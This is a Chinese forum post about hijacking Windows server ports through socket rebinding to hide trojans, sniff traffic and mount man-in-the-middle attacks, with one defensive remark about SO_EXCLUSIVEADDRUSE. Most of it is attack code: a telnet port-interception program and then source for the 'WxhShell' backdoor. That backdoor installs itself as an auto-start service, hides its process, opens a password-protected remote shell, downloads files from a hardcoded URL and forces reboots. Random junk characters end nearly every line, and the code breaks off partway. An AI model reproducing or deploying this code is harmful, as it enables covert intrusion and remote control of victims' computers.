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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j7IX"O%f\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O8%+5l`T!  
u 0(H!  
  saddr.sin_family = AF_INET; $p#)xx7  
d~M;@<eD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hsr,a{B%$  
..`J-k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hK5BOq!y  
tgCEz%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :s`~m;Y9?  
D[yOFJ~p)  
  这意味着什么?意味着可以进行如下的攻击: j qfxQ  
H`odQkZ!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %C^U?m`  
:Q@=;P2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FR"yGx#$  
f s_6`Xt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gVO<W.?  
=+HMPV6yg7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L 1iA ^ x  
R>f$*T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9. :r;HG  
1Tz5tU9kR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p_pI=_:  
iPgewjx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \X1?,gV_  
7VQ|3`!<  
  #include 5i `q  
  #include Gw%P5 r}Y  
  #include !A!}j.s  
  #include    f"My;K$l;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I<yd=#:n  
  int main() |+K3\b  
  { M*li;  
  WORD wVersionRequested; /D2 cY>  
  DWORD ret; }QrBN:a$(  
  WSADATA wsaData; ~IrrX,mp:  
  BOOL val; L@xag-b i  
  SOCKADDR_IN saddr; -]HPDN,OB  
  SOCKADDR_IN scaddr; j:ze5FA+  
  int err; s~(!m. R  
  SOCKET s;  ntK#7(U'  
  SOCKET sc; 0wL-Ak#v  
  int caddsize; 6^_:N1 @  
  HANDLE mt; I.#V/{J  
  DWORD tid;   n3Uw6gLD  
  wVersionRequested = MAKEWORD( 2, 2 ); %zDh07VT\  
  err = WSAStartup( wVersionRequested, &wsaData ); aly1=j  
  if ( err != 0 ) { ^~\cx75D  
  printf("error!WSAStartup failed!\n"); >.'rN>B+  
  return -1; c4H5[LPF  
  } _nW{Q-nh  
  saddr.sin_family = AF_INET; a k&G=a6^  
   {BB#Bh[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0* 7N=  
lAYyxG#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K`}8fU   
  saddr.sin_port = htons(23); 36MqEUjyB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B q/<kEgM  
  { =LLix . >  
  printf("error!socket failed!\n"); _ zM/>Qa  
  return -1; nM]Sb|1:  
  } Nmu;+{19M  
  val = TRUE; YB?yi( "yL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J" :R,w`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v',%   
  { R<wPO-dX  
  printf("error!setsockopt failed!\n"); BCUn[4Gp  
  return -1; e\o>(is  
  } -36pkC 6 \  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LEu_RU?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %#7NCdk;S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z|l/6L8  
J4Yu|E<&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }C6RgE.6<  
  { ]nmVT~lBe"  
  ret=GetLastError(); =Rv!c+?  
  printf("error!bind failed!\n"); Q)vf>LwC2S  
  return -1; V+04X"  
  } vSyR% j  
  listen(s,2); YS$42J_T  
  while(1) CG!7BP\  
  { '8RBR%)y  
  caddsize = sizeof(scaddr); d#l z^Ls2  
  //接受连接请求 Ky:y1\K1^K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mQ~0cwo)  
  if(sc!=INVALID_SOCKET) v>S[} du  
  { *SP@`)\D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &:Mk^DH5  
  if(mt==NULL) [22>)1<(  
  { Tw`n3y?  
  printf("Thread Creat Failed!\n"); $eqwn&$n  
  break; FR5P;Yz%H  
  } acG4u+[ ]  
  } V@%:y tDf  
  CloseHandle(mt); s1"dd7&g'  
  } `?M?WaP  
  closesocket(s); pGO=3=O  
  WSACleanup(); qukym3F  
  return 0; yxz)32B?  
  }   Wra$  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xu[(hT6  
  { ',>Pz+XKc  
  SOCKET ss = (SOCKET)lpParam; jPum2U_  
  SOCKET sc; J]m[0g7O_  
  unsigned char buf[4096]; @cc4]>4  
  SOCKADDR_IN saddr; CRpMpPi@}  
  long num; +c+i~5B4  
  DWORD val; j2dptM3t{  
  DWORD ret; ;&K +x@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g+:Go9k!F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <r`^iR)%  
  saddr.sin_family = AF_INET; JSf \ApX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B:?MMXB  
  saddr.sin_port = htons(23); ; fOkR+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Pgw_ 21N1  
  { SO!|wag$  
  printf("error!socket failed!\n"); "bhF`,V  
  return -1; B_ x?s  
  } y'{*B(  
  val = 100; 8x,{rS qq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _/\U  
  { agI"Kh]j?  
  ret = GetLastError(); j o+-  
  return -1; /O*4/  
  } =#z8CFq[O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #?^%#"~4H  
  { -G|?Kl  
  ret = GetLastError(); ZYMacTeJjg  
  return -1; q$ZmR]p  
  } &N+i3l6`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eI#b%h  
  { Zb? u'Vm=u  
  printf("error!socket connect failed!\n"); tjId?}\  
  closesocket(sc); jeu|9{iTVu  
  closesocket(ss); O~udlVn<6  
  return -1; LtK= nK  
  } m ?)k&{I  
  while(1) 6\BZyry3*  
  { l(~i>iQ 4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^J]_O_ee$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Cu\6VnW_6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (gQr?K  
  num = recv(ss,buf,4096,0); 9-`P\/  
  if(num>0) &%=]lP]  
  send(sc,buf,num,0); *mVQN1  
  else if(num==0) :4\=xGiY  
  break; exP:lO_0n  
  num = recv(sc,buf,4096,0); 4S 7#B  
  if(num>0) aS $ J `  
  send(ss,buf,num,0); q RbU@o.3  
  else if(num==0) ~'.SmXZs  
  break;  WBd$#V3  
  } uH.1'bR?a  
  closesocket(ss); .0a,%o 8n  
  closesocket(sc); 6o cTQ}=  
  return 0 ; ?cvV~&$gc  
  } r`OC5IoQ  
0nu&JQ  
b;2[E/JKB  
========================================================== Hl*V i3bQU  
-(Fhj Ir  
下边附上一个代码,,WXhSHELL N~)RR {$w  
Kt*kARN?  
========================================================== >U9JbkeF  
"?n;dXYSi  
#include "stdafx.h" +YFAZv7`  
}fqy vI  
#include <stdio.h> tupAU$h?!  
#include <string.h> C&/_mm5  
#include <windows.h> W>'KE:!sp  
#include <winsock2.h> K @h9 4Ni6  
#include <winsvc.h> .`TDpi9OB  
#include <urlmon.h> mr[+\ 5  
v"v-c!k  
#pragma comment (lib, "Ws2_32.lib") v~AD7k2{8  
#pragma comment (lib, "urlmon.lib") kBlk^=h<:w  
:< *xG&  
#define MAX_USER   100 // 最大客户端连接数 8iwH^+h~  
#define BUF_SOCK   200 // sock buffer n5z";:p  
#define KEY_BUFF   255 // 输入 buffer b.#0{*/G  
"">{8  
#define REBOOT     0   // 重启 >V$ S\"  
#define SHUTDOWN   1   // 关机 /V"6Q'D  
$a.,; :  
#define DEF_PORT   5000 // 监听端口 % s),4  
Id<O/C  
#define REG_LEN     16   // 注册表键长度 k"pN  
#define SVC_LEN     80   // NT服务名长度 *a2-Vte  
k+% c8w 9  
// 从dll定义API FE4P EBXvu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g}gOAN3.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ? \p,s-CR:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6BY(Y(z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9.^2CM6l  
QTmMj@R&(  
// wxhshell配置信息 /$=<RUE  
struct WSCFG { qo!6)Z  
  int ws_port;         // 监听端口 RemjiCE0'  
  char ws_passstr[REG_LEN]; // 口令 "*HVL  
  int ws_autoins;       // 安装标记, 1=yes 0=no -A(]U"@n  
  char ws_regname[REG_LEN]; // 注册表键名 ('oA{,#L  
  char ws_svcname[REG_LEN]; // 服务名 4DV@-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GWCU 9n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?d5_{*]+v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iw=~j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 557%^)v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :7L[v9'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ltg\x8w?c  
z>A;|iL  
}; WCL#3uYk"  
0o]T6  
// default Wxhshell configuration ,: Z7P@  
struct WSCFG wscfg={DEF_PORT, z:)z]6  
    "xuhuanlingzhe", =DsFR9IB  
    1, ohlCuH 3  
    "Wxhshell", xDO1gnH%  
    "Wxhshell", w%uM=YmuT  
            "WxhShell Service", m2>$)\-;  
    "Wrsky Windows CmdShell Service", )>r sX)  
    "Please Input Your Password: ", X ApSKJ  
  1, tBtmqxx  
  "http://www.wrsky.com/wxhshell.exe", #VU>Z|$@N  
  "Wxhshell.exe" D`hg+64}  
    }; 8\BYm|%aa  
^CfWLL& c  
// 消息定义模块 #'fQx`LV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a?]~Sw"@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [+(fN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !JnxNIr&i|  
char *msg_ws_ext="\n\rExit."; ewOe A|  
char *msg_ws_end="\n\rQuit."; W;^6=(&xn  
char *msg_ws_boot="\n\rReboot..."; #%{x*y:Ms  
char *msg_ws_poff="\n\rShutdown..."; 01">$  
char *msg_ws_down="\n\rSave to "; R&@NFin  
8!|LJI  
char *msg_ws_err="\n\rErr!"; !D~\uW1b  
char *msg_ws_ok="\n\rOK!"; z *~rd2  
 +OeoA{-W  
char ExeFile[MAX_PATH]; <Url&Z  
int nUser = 0; 7$A=|/'nSA  
HANDLE handles[MAX_USER]; -/LB-t  
int OsIsNt; 5fuYva >Ik  
V1 {'d[E*  
SERVICE_STATUS       serviceStatus; 3dB{DuQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -o B` v'  
a(IZ2Zmr  
// 函数声明 wak`Jte=}m  
int Install(void); q?=_{oH9  
int Uninstall(void);  E-L>.tD  
int DownloadFile(char *sURL, SOCKET wsh); KF}_|~~T  
int Boot(int flag); ?, oE_H  
void HideProc(void); Y=(%t:#_  
int GetOsVer(void); (5efNugc  
int Wxhshell(SOCKET wsl); (AswV7aGe  
void TalkWithClient(void *cs); ZeE(gtM  
int CmdShell(SOCKET sock); b.mWB`59  
int StartFromService(void); !I+F8p   
int StartWxhshell(LPSTR lpCmdLine); Np>0c -S  
v])R6-T-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JVq`v#8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !HSX:qAP$  
PmlQW!gfBi  
// 数据结构和表定义 4R28S]Gb  
SERVICE_TABLE_ENTRY DispatchTable[] = B/gI~e0  
{ JTdcL mL  
{wscfg.ws_svcname, NTServiceMain}, a8cX {6  
{NULL, NULL} x%OJ3Qjj=  
}; )vy_m_f&  
sZ%wQqy~k  
// 自我安装 a @i?E0Fr  
int Install(void) O_^ uLp  
{ ^)S<Ha  
  char svExeFile[MAX_PATH]; aB)G!Rm&  
  HKEY key; ucX!6)Op  
  strcpy(svExeFile,ExeFile); TykY>cl   
A}MF>.!}C  
// 如果是win9x系统,修改注册表设为自启动 ,Lr}P  
if(!OsIsNt) { `V=F>s$W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,e>gP\]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n+w$'l  
  RegCloseKey(key); VNHt ]Ewj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f1X]zk(=W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #p/'5lA&j  
  RegCloseKey(key); 3im2 `n  
  return 0; s,]z6L0  
    } VCc57 Bo  
  } .7r$jmuFs  
} <c]?  
else { b_GAK  
Z8q*XpUH  
// 如果是NT以上系统,安装为系统服务 Xf*}V+&WN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $X]Z-RCK3  
if (schSCManager!=0) ],w+4;+  
{ a.B<W9$`  
  SC_HANDLE schService = CreateService c2Up<#t  
  ( d1hXzJs  
  schSCManager, g<5G#  
  wscfg.ws_svcname, [A46WF>L  
  wscfg.ws_svcdisp, Rv@( [rn+  
  SERVICE_ALL_ACCESS, apd"p{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =(W l'iG   
  SERVICE_AUTO_START, _{48s8V  
  SERVICE_ERROR_NORMAL, 8e}8@[h  
  svExeFile, zZI7p[A[3  
  NULL, nWsR;~pK  
  NULL, Vho^a:Z9}W  
  NULL, ^9 {r2d&c  
  NULL, ZY-mUg  
  NULL V(<(k,8=  
  ); .tt=\R  
  if (schService!=0) wZ\% !# }7  
  { CpdQ]Ai[  
  CloseServiceHandle(schService);  Sn-D|Z  
  CloseServiceHandle(schSCManager); ZA8FX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UVaz,bXla  
  strcat(svExeFile,wscfg.ws_svcname); 0uO<7IW9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ky0,#ZOF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *D;VZs0O  
  RegCloseKey(key); \aB"D=P\ok  
  return 0; 6I~{~YvB"  
    } H <ugc  
  } e3x;(@j  
  CloseServiceHandle(schSCManager); 73tWeZ8rvx  
} NK|m7 (  
} *tL1t\jY  
+<W8kb  
return 1; ]_&pIBp  
} o>oZh1/\T,  
.aE%z/@s=  
// 自我卸载 >TddKR @C  
int Uninstall(void) Fa A7m  
{ GN ?1dwI  
  HKEY key; ?Qdp#K]WX  
]WZi +  
if(!OsIsNt) { .}DL%E`n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~.f[K{h8  
  RegDeleteValue(key,wscfg.ws_regname); Q2K)Nl >_  
  RegCloseKey(key); 31n|ScXv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n9r3CLb[  
  RegDeleteValue(key,wscfg.ws_regname); wVY;)1?  
  RegCloseKey(key); "U%jG`q  
  return 0; 7T@"2WYat  
  } ~n`G>Oe3  
} \|q.M0  
} 2Ik@L,  
else { X^ZUm  
i"U<=~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uq_h8JH$  
if (schSCManager!=0) |4u?Q+k%%  
{ 8@'Q=".J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e \ rb  
  if (schService!=0) @iD5X.c  
  { )uIH onXU  
  if(DeleteService(schService)!=0) { c0W4<(  
  CloseServiceHandle(schService); dI|`"jl#  
  CloseServiceHandle(schSCManager); B#9T6|2  
  return 0; +yYSp8>  
  } {;j@-=pV  
  CloseServiceHandle(schService); _=68iDXm  
  } >Gyg`L\  
  CloseServiceHandle(schSCManager); {uuvgFC  
} I6,sN9` K  
} 6mbHfL>cO  
{glRX R  
return 1; 20p/p~<  
} gw`}eA$  
4<QS ot  
// 从指定url下载文件 lg!{?xM  
int DownloadFile(char *sURL, SOCKET wsh) Pw_[{LL  
{ Rooem dCM  
  HRESULT hr; kVu-,OU  
char seps[]= "/"; B)`^/^7  
char *token; &.t|&8-  
char *file; ;Z(~;D  
char myURL[MAX_PATH]; hSyA;*)U  
char myFILE[MAX_PATH]; U?:<clh  
IRW%*W#  
strcpy(myURL,sURL); jboQ)NxT!,  
  token=strtok(myURL,seps); M=aWL!nJ  
  while(token!=NULL) >J[Wd<~t  
  { B[rxV  
    file=token;  >o"3:/3  
  token=strtok(NULL,seps); Ood'kAH1B  
  } ]kd )j  
@43o4,  
GetCurrentDirectory(MAX_PATH,myFILE); >f*[U/{ K  
strcat(myFILE, "\\"); a>{b'X^LV  
strcat(myFILE, file); |.zotEh  
  send(wsh,myFILE,strlen(myFILE),0); ]Ak@!&hyak  
send(wsh,"...",3,0); -j 6U{l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )!``P?3?  
  if(hr==S_OK) 4x JOPu  
return 0; 4SqZ V  
else e!(0y)*  
return 1; fC4 D#  
@|^2 +K/  
} \Ow-o0  
hA81(JWG  
// 系统电源模块 r&|-6OQZZ  
int Boot(int flag) VIxt;yE  
{ Sh_=dzM  
  HANDLE hToken; ?"no~(EB  
  TOKEN_PRIVILEGES tkp; *0,?QS-a  
=Xc[EUi<;g  
  if(OsIsNt) { U-#t&yjh#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O} !L;?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =*YK6  
    tkp.PrivilegeCount = 1; K"sfN~@rT[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n_n0Q}du  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hC.7Z]  
if(flag==REBOOT) { <E|K<}W#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bTn7$EG  
  return 0; L:y} L  
} syYg, G[  
else { )oSUhU26}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 9Ql|l$  
  return 0; fFfH9cl!  
} 2>l:: 8Pp  
  } AVR9G^ce_  
  else { Lw]:/x  
if(flag==REBOOT) { ~nk'ZJ   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nuB@Fkr  
  return 0; F` ifHO  
} !j)H !|R  
else { S4]xxc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u|=G#y;3  
  return 0; eYurg6Ob~  
} q)ygSOtj  
} )-9G*3  
0O>8DX  
return 1; Xz=MM0o  
} w49Wl>M  
8E/]k\  
// win9x进程隐藏模块 SrN;S kS  
void HideProc(void) Es kh=xA {  
{ ZpHT2-baVe  
dyjzF`H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^ZFbp@#U  
  if ( hKernel != NULL ) ~4wbIE_r N  
  { ;C%D+"l1g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZbYwuyHk(3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @\_ tS H  
    FreeLibrary(hKernel); qB_MDA  
  } <,l&),  
| %af}# FQ  
return; q0 :Lb  
} \K)"@gdW  
Ho?+?YJ#P  
// 获取操作系统版本 9jiZtwRpk  
int GetOsVer(void) AjaG .fa]k  
{ qeCx.Z  
  OSVERSIONINFO winfo; ^6+P&MxM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2C %{A  
  GetVersionEx(&winfo); f{lg{gA(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LS?hb)7  
  return 1; `"M=ZVk  
  else Um\Nd#=:  
  return 0; GljxYH"]#  
} 0K, *FdA  
0z."6 r  
// 客户端句柄模块 GD|uU  
int Wxhshell(SOCKET wsl) )vsiX}3  
{ K,' ]G&K  
  SOCKET wsh; Zb7KHKO{  
  struct sockaddr_in client; (^eSm]<  
  DWORD myID; IR>^U  
.F.4fk  
  while(nUser<MAX_USER) l_u1 ~K  
{ |nXs'TO'O  
  int nSize=sizeof(client); MyuFZ7Q4$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mY.[AIB  
  if(wsh==INVALID_SOCKET) return 1; sRo%=7Z  
[S":~3^B6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >E?626*  
if(handles[nUser]==0) DJrE[wI  
  closesocket(wsh); <!&nyuSz  
else PBr-< J  
  nUser++; kAf:_0?6  
  } PP&AF?C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GFx >xQk  
&^1DNpUZ  
  return 0; ~LHG  
} Qm,|'y:Tg  
Rs8`M8(4%  
// 关闭 socket Ol"p^sqwj  
void CloseIt(SOCKET wsh) vN 7a)s  
{ aD3'gc,l  
closesocket(wsh); B4GgR,P@S  
nUser--; ~tDV{ml  
ExitThread(0); TeG5|`t],  
} 6{}]QvR  
(ui"vLk8PP  
// 客户端请求句柄 Z KnEg2a  
void TalkWithClient(void *cs) eUVE8pZl  
{ F)lDK.  
M'HmVg4'  
  SOCKET wsh=(SOCKET)cs; hp,bfcM  
  char pwd[SVC_LEN]; Eti;(>"@  
  char cmd[KEY_BUFF]; G(|ki9^@"9  
char chr[1]; j,Qp*b#Qo  
int i,j; 8@Xq ,J  
KCDEMs}}zM  
  while (nUser < MAX_USER) { ar=uDb;  
FbJlyWND  
if(wscfg.ws_passstr) { +D`IcR-x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "m _wYX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d~O\zLQ;  
  //ZeroMemory(pwd,KEY_BUFF); #=5/D@  
      i=0; \Q?r+VZ  
  while(i<SVC_LEN) { A"#Gg7]tl'  
+Ld4 e]  
  // 设置超时 zhKb|SV  
  fd_set FdRead; [st4FaQ36  
  struct timeval TimeOut; UbJ_'>hK6  
  FD_ZERO(&FdRead); }!(cm;XA"  
  FD_SET(wsh,&FdRead); 0~R0)Q,  
  TimeOut.tv_sec=8; >Rjk d>K3  
  TimeOut.tv_usec=0; O@'/B" &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CG@ LYN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F%lP<4Vx  
X|7gj &1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %-i2MK'A  
  pwd=chr[0]; QgC  
  if(chr[0]==0xd || chr[0]==0xa) { jw5Bbyk  
  pwd=0; W<xu*U(A  
  break; )O"5dF1l  
  } =5oE|F%  
  i++; fZ]Y  
    } V3xC"maA@  
gx#xB8n  
  // 如果是非法用户,关闭 socket `3SY~&X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W7S`+Pq  
} 7P?z{x':T  
0tC+?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w=s:e M@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bwqla43gX  
!GURn1vcAe  
while(1) { bf-.SX~  
&o= #P2Qd  
  ZeroMemory(cmd,KEY_BUFF); +S5"4<  
YbND2 i  
      // 自动支持客户端 telnet标准   *ELbz}Q  
  j=0; C3u/8Mrt7  
  while(j<KEY_BUFF) { C!]hu)E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 35?et-=w  
  cmd[j]=chr[0]; s|dcO  
  if(chr[0]==0xa || chr[0]==0xd) { 0[7\p\Q  
  cmd[j]=0; ,Za!  
  break; ^0R.'XL  
  } PP.QfY4  
  j++; D4ESo)15'  
    } p}.L]Y  
ow!utAF  
  // 下载文件  T+9#P4  
  if(strstr(cmd,"http://")) { -[|R \'i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nj5Mc>_   
  if(DownloadFile(cmd,wsh)) 'mXf8   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/|To!R  
  else c]v $C&FX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (xBS~}e  
  } (Gp/^[.%&  
  else { TIbiw  
D/'kYoAEO  
    switch(cmd[0]) { #;)Oi9{9;  
  (y[+s?;WyB  
  // 帮助 4`yCvPu  
  case '?': { 7](,/MeGG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ma'11?G  
    break; WolkW:(Cg  
  } :Gsh  
  // 安装 [KLs} ~H  
  case 'i': { d`5xd@p  
    if(Install()) KaNi'=nW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PxNp'PZr9  
    else --4,6va`e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T@GT=1E)  
    break; {Xb 6wQ"  
    } p#wQW[6  
  // 卸载 V##=-KZ  
  case 'r': { { Iy<iV  
    if(Uninstall()) e;GLPB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?8O9i  
    else <^c?M[ j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y[:\kI  
    break; 9=O`?$y  
    } dl mF?N|EC  
  // 显示 wxhshell 所在路径 1@rI4U@D  
  case 'p': { 0}C> e`<'  
    char svExeFile[MAX_PATH]; [nZf4KN  
    strcpy(svExeFile,"\n\r");  S<#>g s4  
      strcat(svExeFile,ExeFile); {4J:t_<nKO  
        send(wsh,svExeFile,strlen(svExeFile),0); zP$0B!9  
    break; IL;JdIa  
    } kU{+@MA;  
  // 重启 @E;'Ffo  
  case 'b': { XP'<\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ebK/cPa8  
    if(Boot(REBOOT)) D[32 t0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (KtuikJ32^  
    else { _&)^a)Nu  
    closesocket(wsh); n}/?nP\%  
    ExitThread(0); Ezsb'cUa(  
    } 'APtY;x^{  
    break; bnHQvCO3$  
    } :>4pH  
  // 关机 ]CHO5'%,$  
  case 'd': { 1BK!<}yI{  
